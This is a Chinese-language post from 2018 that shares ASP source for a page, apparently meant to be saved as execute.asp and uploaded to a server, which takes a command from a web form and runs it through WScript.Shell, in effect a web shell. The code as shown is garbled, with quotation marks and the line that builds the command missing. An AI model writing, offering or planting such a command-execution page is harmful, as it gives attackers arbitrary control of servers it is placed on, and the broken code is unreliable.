可以执行系统命令的ASP原码放送
2018-09-06 10:33
最近正在写一个远程服务器管理的东东（借鉴了ASE的部分代码、增加了远程
执行命令、上传、服务等功能。），得到了阿新、ADAM、辰儿、ghost_happy、
crazybird等很多网友的帮助，让我很感动，所以我打算写好了以后，全部原代码公布，可以自由修改和散布。你所要做的只是上传程序到一个支持ASP的服务器。
值得注意的是，程序运行必须有FileSystemObject支持。以下是远程执行命令的
原代码。copy下来另存为execute.asp.
演示地址：
一台日本的烂机，所以中文会出现乱码！
<!--
table,body{ font-family: 宋体; font-size: 9pt }
a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64);
text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none
}
a:visited{ color: rgb(128,0,0) }
-->
输入要执行的命令：<input type=text name=ml
size=20 value=dir c: style=background-color: #C0C0C0; color:
<input type=submit value=执行 name=B1 style=background-color:
<%
ml=request.form(ml)
c:whoamI.txt 修改
whoamI.txt路径到一个有写权限的目录
Set WShShell = Server.CreateObject(WScript.Shell)
RetCode = WShShell.Run(cmd, 1, True)
if RetCode = 0 Then
Response.write ml
else
Response.write 命令执行失败！权限不够或者该程序无法在DOS状态下运行
end if
response.write cmd
function htmlencode(str)
dim result
dim l
if isNULL(str) then
htmlencode=
exit function
end if
l=len(str)
result=
dim i
for i = 1 to l
select case mid(str,i,1)
case <
result=result+lt;
result=result+gt;
case chr(34)
result=result+quot;